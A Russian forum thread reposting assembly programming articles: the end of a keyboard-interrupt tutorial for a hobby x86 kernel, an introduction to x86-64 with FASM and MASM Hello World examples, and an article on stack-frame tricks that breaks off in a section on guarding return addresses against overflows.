В защищенном режиме обоим PIC первым делом нужно отдать команду инициализации ICW1 (0x11). Она сообщает PIC, что нужно ждать еще трех инициализационных слов, которые придут на порт данных.

Эти команды передадут PIC:

    • вектор отступа (ICW2),
    • какие между PIC отношения master/slave (ICW3),
    • дополнительную информацию об окружении (ICW4).
Вторая команда инициализации (ICW2) тоже шлется на вход каждого PIC. Она назначает offset, то есть значение, к которому мы добавляем номер линии, чтобы получить номер прерывания.

PIC разрешают каскадное перенаправление их выводов на вводы друг друга. Это делается при помощи ICW3, и каждый бит представляет каскадный статус для соответствующего IRQ. Сейчас мы не будем использовать каскадное перенаправление и выставим нули.

ICW4 задает дополнительные параметры окружения. Нам нужно определить только нижний бит, чтобы PIC знали, что мы работаем в режиме 80x86.

Та-дам! Теперь PIC проинициализированы.

У каждого PIC есть внутренний восьмибитный регистр, который называется «регистр масок прерываний» (Interrupt Mask Register, IMR). В нем хранится битовая карта линий IRQ, которые идут в PIC. Если бит задан, PIC игнорирует запрос. Это значит, что мы можем включить или выключить определенную линию IRQ, выставив соответствующее значение в 0 или 1.

Чтение из порта данных возвращает значение в регистре IMR, а запись — меняет регистр. В нашем коде после инициализации PIC мы выставляем все биты в единицу, чем деактивируем все линии IRQ. Позднее мы активируем линии, которые соответствуют клавиатурным прерываниям. Но для начала все же выключим!

Если линии IRQ работают, наши PIC могут получать сигналы по IRQ и преобразовывать их в номер прерывания, добавляя офсет. Нам же нужно заполнить IDT таким образом, чтобы номер прерывания, пришедшего с клавиатуры, соответствовал адресу функции-обработчика, которую мы напишем.

На какой номер прерывания нам нужно завязать в IDT обработчик клавиатуры?

Клавиатура использует IRQ1. Это входная линия 1, ее обрабатывает PIC1. Мы проинициализировали PIC1 с офсетом 0x20 (см. ICW2). Чтобы получить номер прерывания, нужно сложить 1 и 0x20, получится 0x21. Значит, адрес обработчика клавиатуры будет завязан в IDT на прерывание 0x21.

Задача сводится к тому, чтобы заполнить IDT для прерывания 0x21. Мы замапим это прерывание на функцию keyboard_handler, которую напишем в ассемблерном файле.

Каждая запись в IDT состоит из 64 бит. В записи, соответствующей прерыванию, мы не сохраняем адрес функции-обработчика целиком. Вместо этого мы разбиваем его на две части по 16 бит. Нижние биты сохраняются в первых 16 битах записи в IDT, а старшие 16 бит — в последних 16 битах записи. Все это сделано для совместимости с 286-ми процессорами. Как видишь, Intel выделывает такие номера на регулярной основе и во многих-многих местах!

В записи IDT нам осталось прописать тип, обозначив таким образом, что все это делается, чтобы отловить прерывание. Еще нам нужно задать офсет сегмента кода ядра. GRUB задает GDT за нас. Каждая запись GDT имеет длину 8 байт, где дескриптор кода ядра — это второй сегмент, так что его офсет составит 0x08 (подробности не влезут в эту статью). Гейт прерывания представлен как 0x8e. Оставшиеся в середине 8 бит заполняем нулями. Таким образом, мы заполним запись IDT, которая соответствует клавиатурному прерыванию.

Когда с маппингом IDT будет покончено, нам надо будет сообщить процессору, где находится IDT. Для этого существует ассемблерная инструкция lidt, она принимает один операнд. Им служит указатель на дескриптор структуры, которая описывает IDT.

С дескриптором никаких сложностей. Он содержит размер IDT в байтах и его адрес. Я использовал массив, чтобы вышло компактнее. Точно так же можно заполнить дескриптор при помощи структуры.

В переменной idr_ptr у нас есть указатель, который мы передаем инструкции lidt в функции load_idt().


Код:
load_idt: mov edx, [esp + 4] lidt [edx] sti ret
Дополнительно функция load_idt() возвращает прерывание при использовании инструкции sti.

Заполнив и загрузив IDT, мы можем обратиться к IRQ клавиатуры, используя маску прерывания, о которой мы говорили ранее.


Код:
void kb_init(void)
{ write_port(0x21 , 0xFD);
}
0xFD — это 11111101 — включаем только IRQ1 (клавиатуру).



Функция — обработчик прерывания клавиатуры

Итак, мы успешно привязали прерывания клавиатуры к функции keyboard_handler, создав запись IDT для прерывания 0x21. Эта функция будет вызываться каждый раз, когда ты нажимаешь на какую-нибудь кнопку.

Код:
keyboard_handler: call keyboard_handler_main iretd
Эта функция вызывает другую функцию, написанную на C, и возвращает управление при помощи инструкций класса iret. Мы могли бы тут написать весь наш обработчик, но на C кодить значительно легче, так что перекатываемся туда. Инструкции iret/iretd нужно использовать вместо ret, когда управление возвращается из функции, обрабатывающей прерывание, в программу, выполнение которой было им прервано. Этот класс инструкций поднимает флаговый регистр, который попадает в стек при вызове прерывания.

Код:
void keyboard_handler_main(void) { unsigned char status; char keycode;  write_port(0x20, 0x20); status = read_port(KEYBOARD_STATUS_PORT);  if (status & 0x01) { keycode = read_port(KEYBOARD_DATA_PORT); if(keycode < 0) return; vidptr[current_loc++] = keyboard_map[keycode]; vidptr[current_loc++] = 0x07; }
}
Здесь мы сначала даем сигнал EOI (End Of Interrupt, окончание обработки прерывания), записав его в командный порт PIC. Только после этого PIC разрешит дальнейшие запросы на прерывание. Нам нужно читать два порта: порт данных 0x60 и порт команд (он же status port) 0x64.

Первым делом читаем порт 0x64, чтобы получить статус. Если нижний бит статуса — это ноль, значит, буфер пуст и данных для чтения нет. В других случаях мы можем читать порт данных 0x60. Он будет выдавать нам код нажатой клавиши. Каждый код соответствует одной кнопке. Мы используем простой массив символов, заданный в файле keyboard_map.h, чтобы привязать коды к соответствующим символам. Затем символ выводится на экран при помощи той же техники, что мы применяли в первой версии ядра.

Чтобы не усложнять код, я здесь обрабатываю только строчные буквы от a до z и цифры от 0 до 9. Ты с легкостью можешь добавить спецсимволы, Alt, Shift и Caps Lock. Узнать, что клавиша была нажата или отпущена, можно из вывода командного порта и выполнять соответствующее действие. Точно так же можешь привязать любые сочетания клавиш к специальным функциям вроде выключения.

Теперь ты можешь собрать ядро, запустить его на реальной машине или на эмуляторе (QEMU) так же, как и в первой части.

И начинай печатать!
 

Lucania

PREMIUM
Регистрация
02.02.23
Сообщения
27.395
Реакции
0
Баллы
12

Содержание статьи​

  • Что нам понадобится?
  • Обзор x86-64
  • Hello, world на x86-64
  • Заключение
32-битная эпоха уходит в прошлое, сдаваясь под натиском новых идей и платформ. Оба флагмана рынка (Intel и AMD) представили 64-битные архитектуры, открывающие дверь в мир больших скоростей и производительных ЦП. Это настоящий прорыв — новые регистры, новые режимы работы… попробуем с ними разобраться? Мы рассмотрим архитектуру AMD64 (она же x86-64) и покажем, как с ней бороться.

64-битный лейбл — звучит возбуждающе, но в практическом плане это всего лишь хитрый маркетинговый трюк, скрывающий не только достоинства, но и недостатки. Нам дарованы 64-битные операнды и 64-битная адресация. Казалось бы, лишние разряды карман не тянут и если не пригодятся, то по крайней мере не помешают. Так ведь нет! С ростом разрядности увеличивается и длина машинных команд, а значит, время их загрузки/декодирования и размеры программы, поэтому для достижения не худшей производительности 64-битный процессор должен иметь более быструю память и более емкий кеш. Это раз.

64-битные целочисленные операнды становятся юзабельны только при обработке чисел порядка 2^33 + (8 589 934 592) и выше. Там, где 32-битному процессору требуется несколько тактов, 64-битный справляется за один. Но где ты видел такие числа в домашних и офисных приложениях? Не зря же инженеры из Intel пошли на сокращение разрядности АЛУ (арифметико‑логического устройства), ширина которого в Pentium 4 составляет всего 16 бит, против 32 бит в Pentium III. Это не значит, что Pentium 4 не может обрабатывать 32-разрядные числа. Может. Только он тратит на них больше времени, чем Pentium III. Но, поскольку процент подлинно 32-разрядных чисел (то есть таких, что используют свыше 16 бит) в домашних приложениях относительно невысок, производительность падает незначительно. Зато ядро содержит меньше транзисторов, выделяет меньше тепла и лучше работает на повышенной тактовой частоте — в целом эффект положительный.


64-битная разрядность… Помилуй! Адресовать 18 446 744 073 709 551 616 байт памяти не нужно даже Microsoft’у со всеми его графическими заворотами! Из 4 Гбайт адресного пространства Windows Processional и Windows Server только 2 Гбайт выделяют приложениям.

3 Гбайт выделяет лишь Windows Advanced Server, и не потому, что больше выделить невозможно! x86-процессоры с легкостью адресуют вплоть до 16 Гбайт (по 4 Гбайт на код, данные, стек и кучу), опять‑таки обходясь минимальной перестройкой операционной системы! Почему же до сих пор это не было сделано? Почему мы сидим на жалких 4 Гбайт, из которых реально доступны только два?! Да потому, что больше никому не нужно! Систему, адресующую 16 Гбайт, просто так не продашь, кого эти гигабайты интересуют? Вот 64 бита — совсем другое дело! Это освежает! Вот все вокруг них и танцуют.

Сравнивать 32- и 64-битные процессоры бессмысленно. Если 64-битный процессор на домашнем приложении оказывается быстрее, то отнюдь не за счет своей 64-битности, а благодаря совершенно независимым от нее конструктивным ухищрениям, на которых инженеры едва не разорвали себе задницы!

Впрочем, не будем о грустном. 64 бита все равно войдут в нашу жизнь. Для некоторых задач они очень даже ничего. Вот, например, криптография. 64 бита — это же 8 байт! 8-символьные пароли можно полностью уместить в один регистр, не обращаясь к памяти, что дает невероятный результат! Скорость перебора увеличивается чуть ли не на порядок! Ну так чего же мы ждем? Вперед! На штурм 64-битных вершин!
AMD Athlon 64 во всей своей красе

ЧТО НАМ ПОНАДОБИТСЯ?​

Нам потребуется 64-разрядная операционная система. Дотянуться до 64-битных регистров и прочих вкусностей x86-64-архитектуры можно только из специального 64-разрядного режима (long mode). Ни под реальным, ни под 32-разрядным защищенным x86-режимом они не доступы. И хотя мы покажем, как перевести процессор из реального в 64-разрядный режим, создание полнофункциональной операционной системы не входит в наши планы, а без нее никуда!

Теперь перейдем к подготовке инструментария. Как минимум нам понадобится ассемблер и отладчик. Мы будем использовать FASM. Он бесплатен, работает под Linux, Windows и MS-DOS, поддерживает x86-64 и обладает удобным синтаксисом.

Практически во все x86-64-порты Linux входит GNU Debugger, которого для наших задач вполне достаточно. Обладатели Windows могут воспользоваться Microsoft Debugger.


ОБЗОР X86-64​

За подробным описанием x86-64-архитектуры лучше всего обратиться к фирменной документации AMD64 Technology — AMD64 Architecture Programmer’s Manual Volume 1:Application Programming. Мы же ограничимся только беглым обзором основных нововведений.

Наконец‑то AMD сжалилась над нами и подарила программистам то, чего все так долго ждали. К семи регистрам общего назначения (восьми — с учетом ESP) добавилось еще восемь, в результате чего их общее количество достигло 15 (16) штук.

Старые регистры, расширенные до 64 бит, получили имена RAX, RBX, RCX, RDX, RBP, RSI, RDI, RSP, RIP и RFLAGS. Новые регистры остались безымянными и просто пронумерованы от R8 до R15. Для обращения к младшим 8, 16 и 32 битам новых регистров можно использовать суффиксы b, w и d. Например, R9 — это 64-разрядный регистр, R9b — его младший байт (по аналогии с AL), а R9w — младшее слово (то же самое, что AX в EAX). Прямых наследников AH, к сожалению, не наблюдается, и для манипуляции со средней частью регистров приходится извращаться со сдвигами и математическими операциями.


Регистр, указатель команд RIP, теперь адресуется точно так же, как и все остальные регистры общего назначения. Программисты, заставшие живую PDP-11 (или ее отечественный клон — «Электронику БК», или УКНЦ), только презрительно хмыкнут: наконец‑то до разработчиков стали доходить очевидные истины, которые на всех нормальных платформах были реализованы еще неизвестно когда.

Возьмем простейший пример: загрузим в регистр AL опкод следующей машинной команды. На x86 приходится поступать так.

Загрузка опкода следующей машинной команды в классическом x86​

Код:
call $ + 5 ; Запихнуть в стек адрес следующей команды и передать на нее управление
pop ebx ; Вытолкнуть из стека адрес возврата
add ebx, 6 ; Скорректировать адрес на размер команд pop/add/mov
mov al, [ebx] ; Теперь AL содержит опкод команды NOP
NOP ; Команда, чей опкод мы хотим загрузить в AL

Это же умом поехать можно, пока все это напишешь! И еще здесь очень легко ошибиться в размере команд — приходится вычислять его вручную либо загромождать листинг никому не нужными метками. К тому же неизбежно затрагивается стек, что в ряде случаев нежелательно или недопустимо (особенно в защитных механизмах, нашпигованных антиотладочными приемами).

А теперь перепишем тот же самый пример на x86-64.

Загрузка опкода следующей машинной команды на x86-64​

Код:
mov al,[rip] ; Загружаем опкод следующей машинной команды
NOP ; Команда, чей опкод мы хотим загрузить в AL
Красота! Только следует помнить, что RIP всегда указывает на следующую, а отнюдь не текущую инструкцию! К сожалению, ни Jx RIP, ни CALL RIP не работают. Таких команд в лексиконе x86-64 просто нет.

Но это еще что! Исчезла абсолютная адресация! Если нам надо изменить содержимое ячейки памяти по конкретному адресу, на x86 мы поступаем приблизительно так:

Код:
dec byte ptr [666h] ; Уменьшить содержимое байта по адресу 666h на единицу
Под x86-64 транслятор выдает ошибку ассемблирования, вынуждая нас прибегать к фиктивному базированию:

Код:
xor r9, r9 ; Обнулить регистр r9
dec byte ptr [r9+666h] ; Уменьшить содержимое байта по адресу 0+666h на единицу
Есть и другие отличия от x86, но они не столь принципиальны. Важно то, что в режиме совместимости с x86 (Legacy Mode) ни 64-битные регистры, ни новые методы адресации не доступны! Никакими средствами (включая черную и белую магию) дотянуться до них нельзя, и, прежде чем что‑то сделать, необходимо перевести процессор в длинный режим (long mode), который делится на два подрежима: режим совместимости с x86 (compatibility mode) и 64-битный режим (64-bit mode). Режим совместимости предусмотрен только для того, чтобы 64-разрядная операционная система могла выполнять старые 32-битные приложения. Никакие 64-битные регистры здесь и не ночевали!

Реальная 64-битность обитает только в 64-bit long mode, о котором мы и будем говорить.


HELLO, WORLD НА X86-64​

Программирование под 64-битную версию Windows мало чем отличается от традиционного, только все операнды и адреса по умолчанию 64-разрядные, а параметры API-функций передаются большей частью через регистры, а не через стек. Первые четыре аргумента всех API-функций передаются в регистрах RCX, RDX, R8 и R9 (регистры перечислены в порядке следования аргументов, крайний левый аргумент помещается в RCX). А уж остальные параметры кладутся в стек. Все это называется x86-64 fast calling conversion (соглашение о быстрой передаче параметров для x86-64), подробное описание можно найти в статье The history of calling conventions, part 5 amd64. Также советую заглянуть на страничку бесплатного компилятора Free PASCAL и поднять документацию по способам вызова API.

В частности, вызов функции с пятью аргументами API_func(1,2,3,4,5) выглядит так:

Код:
mov dword ptr [rsp+20h], 5 ; Кладем на стек пятый слева аргумент
mov r9d, 4 ; Передаем четвертый слева аргумент
mov r8d, 3 ; Передаем третий слева аргумент
mov edx, 2 ; Передаем второй слева аргумент
mov ecx, 1 ; Передаем первый слева аргумент
call API_func
Смещение пятого аргумента относительно верхушки стека требует пояснений. Почему оно равно 20h? Ведь адрес возврата занимает только 8 байт, кто же съел все остальные? Оказывается, они резервируются для первых четырех аргументов, переданных через регистры. Зарезервированные ячейки содержат неинициализированный мусор и по‑буржуйски называются spill, что переводится как затычка или потеря.

Вот минимум знаний, необходимых для выживания в мире 64-битной Windows при программировании на ассемблере. Остается разобрать самую малость: как эти самые 64-бита заполучить? Для перевода FASM’а в режим x86-64 достаточно указать директиву use64 и дальше кодить как обычно.

Ниже идет пример простейшей x86-64-программы, которая не делает ничего, только возвращает в регистре RAX значение 0.

Код:
; Сообщаем FASM’у, что мы хотим программировать на x86-64
use64
xor r9,r9 ; Обнуляем регистр r9
mov rax,r9 ; Пересылаем в rax,r9 (можно сразу mov rax,0, но неинтересно)
ret ; Выходим туда, откуда пришли
Никаких дополнительных аргументов командной строки указывать не надо, просто сказать fasm file-name.asm, и все! Через мгновение образуется файл file-name.bin, который в hex-представлении выглядит так:

Дизассемблерный листинг простейшей 64-битной программы​

Код:
4D 31 C9 xor r9, r9
4C 89 C8 mov rax, r9
C3 retn
Формально это типичный com-файл, вот только запустить его не удастся (во всяком случае, ни одна популярная ось его не съест), необходимо замутить законченный ELF или PE, в заголовке которого будет явно прописана нужная разрядность.

Начиная с версии 1.64 ассемблер FASM поддерживает специальную директиву format PE64", автоматически формирующую 64-разрядный PE-файл (директиву use64 в этом случае указывать уже не нужно), а в каталоге EXAMPLES можно найти готовый пример PE64DEMO, в котором показано, как ее использовать на практике.

Ниже приведен пример x86-64-программы Hello, world с комментариями.

64-битное приложение Hello, world под Windows на FASM’е​

Код:
; Пример 64-битного PE файла
; Для его выполнения необходимо иметь Windows XP 64-bit edition
; Указываем формат
format PE64 GUI
; Указываем точку входа
entry start
; Создать кодовую секцию с атрибутами на чтение и исполнение
section '.code' code readable executable
start: mov r9d,0 ; uType == MB_OK (кнопка по умолчанию) ; Аргументы по соглашению x86-64 ; передаются через регистры, не через стек! ; Префикс d задает регистр размером в слово, ; можно использовать и mov r9,0, но тогда ; машинный код будет на байт длиннее lea r8,[_caption] ; lpCaption передаем смещение ; Команда lea занимает всего 7 байт, ; а mov reg, offset — целых 11, так что ; lea намного более предпочтительна lea rdx,[_message] ; lpText передаем смещение выводимой строки mov rcx,0 ; hWnd передам дескриптор окна владельца ; (можно также использовать xor rcx, rcx, ; что на три байта короче) call [MessageBox] ; Вызываем функцию MessageBox mov ecx,eax ; Заносим в ecx результат возврата ; (функция ExitProcess ожидает 32-битный параметр,
; можно использовать и mov rcx, rax, но это будет ; на байт длиннее) call [ExitProcess] ; Вызываем функцию ExitProcess
; Создать секцию данных с атрибутами на чтение и запись
; (вообще-то в данном случае атрибут на запись необязателен,
; поскольку мы ничего не пишем, а только читаем)
section '.data' data readable writeable _caption db 'PENUMBRA is awesome!',0 ; ASCIIZ-строка заголовка окна _message db 'Hello World!',0 ; ASCIIZ-строка, выводимая на экран
; Создать секцию импорта с атрибутами на чтение и запись
; (здесь атрибут на запись обязателен, поскольку при загрузке PE-файла
; в секцию импорта будут записываться фактические адреса API-функций)
section '.idata' import data readable writeable dd 0,0,0,RVA kernel_name,RVA kernel_table dd 0,0,0,RVA user_name,RVA user_table dd 0,0,0,0,0 ; Завершаем список двумя 64-разрядными нулями!
kernel_table: ExitProcess dq RVA _ExitProcess dq 0 ; Завершаем список 64-разрядным нулем!
user_table: MessageBox dq RVA _MessageBoxA dq 0
kernel_name db 'KERNEL32.DLL',0
user_name db 'USER32.DLL',0
_ExitProcess dw 0 db 'ExitProcess',0
_MessageBoxA dw 0 db 'MessageBoxA',0

Ассемблируем файл (fasm PE64DEMO.ASM) и запустим образовавшийся EXE на выполнение. Под 32-разрядной Windows он, естественно, не запустится.
Вдоволь наигравшись нашим первым x86-64 файлом, загрузим его в дизассемблер (например, в IDA Pro 4.7. Она хоть и матерится, предлагая использовать специальную 64-битную версию, но при нажатии на Yes все корректно дизассемблирует. Во всяком случае до тех пор, пока не столкнется с подлинным 64-битным адресом или операндом, который будет обрезан, в частности mov r9,1234567890h дизассемблируется как mov r9, 34567890h. Так что переход на 64-битную версию IDA все же очень желателен, тем более что начиная с IDA 4.9 она входит в базовую поставку). Посмотрим, что у нашей программы внутри?

Дизассемблерный листинг 64-битного приложения Hello, world​

Код:
.code:0000000000401000 41 B9 00 00 00 00 mov r9d, 0
.code:0000000000401006 4C 8D 05 F3 0F 00 00 lea r8, aPENUMBRA
.code:000000000040100D 48 8D 15 03 10 00 00 lea rdx, aHelloWorld ; "Hello World!"
.code:0000000000401014 48 C7 C1 00 00 00 00 mov rcx, 0
.code:000000000040101B FF 15 2B 20 00 00 call cs:MessageBoxA
.code:0000000000401021 89 C1 mov ecx, eax
.code:0000000000401023 FF 15 13 20 00 00 call cs:ExitProcess

Что ж, довольно громоздко, объемно и концептуально. Для сравнения дизассемблированный листинг аналогичного 32-разрядного файла приведен ниже. Старый x86-код в 1,6 раза короче! А ведь это только демонстрационная программа из нескольких строк! На полновесных приложениях разрыв будет только нарастать. Так что не стоит злоупотреблять 64-разрядным кодом без необходимости. Его следует использовать только там, где 64-битная арифметика и восемь дополнительных регистров действительно дают ощутимый выигрыш. Например, в математических задачах или программах для вскрытия паролей.


Дизассемблерный листинг 32-битного приложения Hello, world​

Код:
code:00401000 6A 00 push 0
code:00401002 68 00 20 40 00 push offset aPENUMBRA
code:00401007 68 17 20 40 00 push offset aHelloWorld
code:0040100C 6A 00 push 0
code:0040100E FF 15 44 30 40 00 call ds:MessageBoxA
code:00401014 6A 00 push 0
code:00401016 FF 15 3C 30 40 00 call ds:ExitProcess

В качестве заключительного упражнения перепишем наше приложение в стиле MASM, поклонников которого нужно не бить, а уважать. Никаких радикальных отличий не наблюдается:

64-битное приложение Hello, world под Windows на MASM’е​

Код:
; Объявляем внешние API-функции, которые мы будем вызывать
extrn MessageBoxA: PROC
extrn ExitProcess: PROC
; Секция данных с атрибутами по умолчанию (чтение и запись)
.data
mytit db 'PENUMBRA is awesome!', 0
mymsg db 'Hello World!', 0
; Секция кода с атрибутами по умолчанию (чтение и исполнение)
.code
Main:
mov r9d, 0 ; uType = MB_OK
lea r8, mytit ; LPCSTR lpCaption
lea rdx, mymsg ; LPCSTR lpText
mov rcx, 0 ; hWnd = HWND_DESKTOP
call MessageBoxA
mov ecx, eax ; uExitCode = MessageBox(...)
call ExitProcess
End Main

Ассемблирование и линковка проходит так:

Код:
ml64 XXX.asm /link /subsystem:windows /defaultlib:kernel32.lib /defaultlib:user32.lib /entry:main

В результате чего образуется готовый к употреблению EXE-файл с румяной поджаренной корочкой нашего ЦП (FASM ассемблирует намного быстрее).

Примеры более сложных программ легко найти в сети. Как показывает практика, запросы типа x86-64 [AMD64] assembler example катастрофически неэффективны и гораздо лучше использовать что‑нибудь вроде mov rax.


ЗАКЛЮЧЕНИЕ​

Вот мы и познакомились с архитектурой x86-64! Здесь действительно есть где развернуться и чему поучиться! Насколько эти знания окажутся востребованны на практике — так сразу и не скажешь. У AMD есть хорошие шансы пошатнуть рынок, но ведь и Intel не дремлет, активно продвигая собственные 64-разрядные платформы, известные под общим именем IA64, но о них как‑нибудь в другой раз.

Переход в 64-разрдяный режим​

В исходниках FreeBSD можно найти файл amd64_tramp.S, быстро и грязно переводящий процессор в 64-разрядный режим. Откомпилировав, его можно записать в boot-сектор, загружающий нашу собственную операционную систему (ты ведь пишешь ее, правда?) или слинковать com-файл, запускаемый из реального x86-режима (для этого потребуется чистая MS-DOS безо всяких экстендеров). В общем, вариантов много.

Перевод процессора в 64-разрядный режим​

Код:
//$FreeBSD: /repoman/r/ncvs/src/sys/boot/i386/libi386/amd64_tramp.S,v 1.4 2004/05/14

#define MSR_EFER 0xc0000080
#define EFER_LME 0x00000100
#define CR4_PAE 0x00000020
#define CR4_PSE 0x00000010
#define CR0_PG 0x80000000

#define VPBASE 0xa000
#define VTOP(x) ((x) + VPBASE) .data .p2align 12,0x40 .globl PT4
PT4: .space 0x1000 .globl PT3
PT3: .space 0x1000 .globl PT2
PT2: .space 0x1000
gdtdesc: .word gdtend - gdt .long VTOP(gdt) # low .long 0 # high
gdt: .long 0 # null descriptor .long 0 .long 0x00000000 # %cs .long 0x00209800 .long 0x00000000 # %ds .long 0x00008000
gdtend: .text .code32 .globl amd64_tramp
amd64_tramp:  cli  movl $MSR_EFER, %ecx rdmsr orl $EFER_LME, %eax wrmsr  movl %cr4, %eax orl $(CR4_PAE | CR4_PSE), %eax movl %eax, %cr4  movl $VTOP(PT4), %eax movl %eax, %cr3  movl %cr0, %eax orl $CR0_PG, %eax movl %eax, %cr0  movl $VTOP(gdtdesc), %eax movl VTOP(entry_hi), %esi movl VTOP(entry_lo), %edi lgdt (%eax) ljmp $0x8, $VTOP(longmode) .code64
longmode:  movl %esi, %eax salq $32, %rax orq %rdi, %rax pushq %rax ret
 

Lucania

PREMIUM
Регистрация
02.02.23
Сообщения
27.395
Реакции
0
Баллы
12

Содержание статьи​

  • Турбопередача стековых аргументов
  • Повторное использование кадра стека
  • Защита адреса возврата от переполнения
Ассемблер предоставляет практически неограниченную свободу для самовыражения и всевозможных извращений, что выгодно отличает его от языков высокого уровня. Вот мы и воспользуемся этой возможностью, извратившись не по‑детски и сотворив со стеком то, о чем приплюснутый Си только мечтает.

ТУРБОПЕРЕДАЧА СТЕКОВЫХ АРГУМЕНТОВ​

Передачу аргументов через стек можно существенно ускорить, в случае если аргументы представляют собой константу, известную еще на стадии трансляции. Классический способ передачи выглядит так:

Классический способ передачи стековых аргументов​

Код:
00000000: 6869060000 push 000000669
00000005: 6899090000 push 000000999
0000000A: 6896060000 push 000000696
0000000F: E852060000 call 000000666

Довольно расточительное (в плане процессорных тактов) решение, особенно если функция вызывается многократно. При этом операнды команды PUSH перегоняются из секции .text (находящейся в кодовой кэш‑памяти первого уровня) в область стека, находящуюся в кэш‑памяти данных. Ну и зачем гонять их туда и обратно, когда аргументы можно использовать непосредственно по месту хранения?


Усовершенствованный пример выглядит так:

Код:
.code
MOV EBP, ESP
MOV ESP, offset func_arg + 4
CALL my_func
MOV ESP, EBP
.data
func_arg DD 00h, 696h, 999h, 669h

И хотя размер кода после оптимизации не только не сократился, но даже увеличился (14h байт до оптимизации и 1Eh - после), мы сохранили немного стековой памяти и сократили время выполнения. Причем чем больше аргументов передается функции, тем в более выигрышном положении оказывается оптимизированный вариант, поскольку неоптимизированный вынужден тратить на каждый аргумент один дополнительный байт!

Код:
00000000: 8BEC mov ebp, esp
00000002: BC66000000 mov esp, 000000013
00000007: E80E000000 call 000000666
0000000C: 8BE5 mov esp, ebp
…
0000000E: 00 00 00 00 96 06 00 00 ? 99 09 00 00 69 06 00 00
0000001E:

Несколько замечаний по поводу. Первое. Операционные системы семейства Windows NT (к которым принадлежат Windows 2000, Windows XP, Windows Vista, Windows Server 2003 и Windows Server Longhorn) гарантируют целостность содержимого стека выше его вершины (для адресов меньших, чем ESP), поэтому переносят такие извращения безо всякого ущерба для работоспособности программы. Операционные системы семейства Windows 9x ведут себя иначе, бесцеремонно используя все, что находится выше ESP в целях «производственной необходимости», что ведет к искажению секции данных и последующему краху программы. Поэтому все, что было сказано здесь, распространяется только на NT.



Замечание номер два. Перед аргументами необходимо оставить двойное слово (а в 64-битном режиме — четвертное) для сохранения адреса возврата. При этом секция данных, где находится это слово, должна быть доступна на запись. Если же функция вызывается из одного единственного места и адрес возврата известен заранее, ничего не мешает положить его рядом с аргументами. Но тогда функцию придется пускать командой jump, а не call, что еще больше увеличивает производительность:

Вызов функции с предопределенным адресом возврата командой JMP​

Код:
.code
MOV EBP, ESP
MOV ESP, offset func_arg + 4
JMP my_func
here:
MOV ESP, EBP
.data
func_arg DD offset here, 696h, 999h, 669h

Кстати говоря, ни адрес возврата, ни аргументы функции вовсе не обязаны быть константами, известными на стадии компиляции, и они могут свободно модифицироваться в любой момент командами MOV и STOS. Также если аргументы хранятся в локальных переменных, то засылать их в стек не обязательно! Достаточно лишь скорректировать регистр ESP таким образом, чтобы переменные‑аргументы оказались на вершине. Естественно, порядок размещения аргументов в памяти должен совпадать с порядком передачи аргументов, но на ассемблере, в отличие от языков высокого уровня, мы можем самостоятельно выбирать нужную схему размещения переменных, так что это не проблема.

Еще одна тонкость: «оптимизированный» вариант обладает всеми формальными атрибутами «передачи по значению», но де‑факто аргументы передаются по ссылке. То есть совсем наоборот! Аргументы передаются по значению, но это значение после выхода из функции сохраняет свое состояние, ведет себя так, как будто бы оно было передано по ссылке. Иногда это экономит такты процессора и сокращает потребности в памяти, но иногда ведет к трудноуловимым ошибкам, лишний раз подтверждая тезис, что нет в мире совершенства.

И последнее: при всех этих играх со стеком следует помнить, что целый ряд API-функций требует, чтобы указатель стека был выровнен на границу четырех байтов. Нарушение этого правила ведет к непредсказуемым последствиям.


ПОВТОРНОЕ ИСПОЛЬЗОВАНИЕ КАДРА СТЕКА​

При входе внутрь функции большое количество локальных переменных инициализируется константами или значениями, инвариантными по отношению к самой функции (то есть другими переменными, чаще всего глобальными). Причем инициализация обычно осуществляется командой MOV, а для обслуживания строковых переменных приходится прибегать к REP MOVSB. Все это медленно, громоздко и непроизводительно.

А почему бы не подготовить кадр стека еще на стадии трансляции?! В грубом приближении это будет выглядеть так:

Вызов функции с заранее подготовленными аргументами и локальными переменными​

Код:
.code
MOV EBP, ESP
MOV ESP, offset func_arg
JMP my_func
MOV ESP, EBP
…
my_func:
MOV EBP,ESP
SUB ESP, offset func_locals - offset return_address
…
…
…
MOV ESP,EBP
RETN
.data
func_locals:
var_1 DB 66h
var_2 DD offset globalFlag
var_s DB "hello",0
var_x DD 0
var_y DD 0
return_address:
DD 00h
func_args:
DD 696h, 999h, 669h

В некоторых случаях достигается просто колоссальное ускорение, однако тут есть один подводный камень — при повторном вызове функции все «инициализированные» переменные сохраняют свои текущие значения и наступает полный облом. Фактически мы добились того, что превратили локальные стековые переменные в статические! Бесспорно, иногда это очень хорошо, но в 90% случаев нам нужно совсем другое. Вот и устроим себе это другое с помощью REP MOVS! Подготавливаем инициализированные локальные переменные на стадии создания ассемблерной программы, а затем копируем их в кадр функции при его открытии. Это намного быстрее, чем инициализировать каждую локальную переменную по отдельности командой MOV.

К тому же кадры некоторых функций достаточно схожи между собой, что позволяет объединить несколько кадров в один! Достаточно сказать, что каждая функция нуждается в переменных, инициализированных нулями. Чтобы не делать много раз один и тот же MOV [EBP+XXh],0 лучше (и быстрее) выполнить REP STOS!

Вот в чем истинная сила ассемблера! Вот извращения, недоступные языкам высокого уровня, но… самые зверские издевательства еще впереди!!!


ЗАЩИТА АДРЕСА ВОЗВРАТА ОТ ПЕРЕПОЛНЕНИЯ​

Проблема переполняющихся буферов породила огромное количество червей, открыв безграничный простор для хакерских атак. Но, несмотря на все ухищрения, предпринятые как со стороны производителей компиляторов, так и со стороны разработчиков операционных систем, она остается нерешенной и по сей день.

Ассемблер предоставляет по меньшей мере 2 надежных механизма, до которых компиляторы еще не «додумались». Первый и самый простой — это 2 стека: один для хранения адресов возврата, другой - для передачи аргументов и локальных переменных. Кстати говоря, существуют процессорные архитектуры, в которых этот механизм реализован изначально. Но x86-семейство к ним, увы, не относится, поэтому приходится брать в лапы напильник и точить.

Для организации двух раздельных стеков нам требуется всего лишь 1 дополнительный регистр (который можно выделить из пула регистров общего назначения). Пусть это будет регистр EBP, указывающий на стек с локальными переменными. Собственно говоря, неправильно называть его стеком, поскольку в операционных системах семейства Windows стек представляет собой особый регион памяти, подпираемый сверху сторожевой страницей page-guard. Мы же разместим свой стек в памяти, полученной функцией VirtualAlloc или, если хочется оптимизации, в .BSS-секции PE-файла, выделение которой обходится очень дешевого (в плане машинного времени). Но это все детали реализации. Будем считать, что ESP указывает на нормальный стек, а EBP — на рукотворный. Как тогда будет происходить вызов функций и передача аргументов?

А вот так:

Код:
; // подготовительные операции
MOV EBP, [XXX] ; XXX - указатель на рукотворный стек
MOV ESP, ESP ; ;-)
…
; // передача аргументов функции
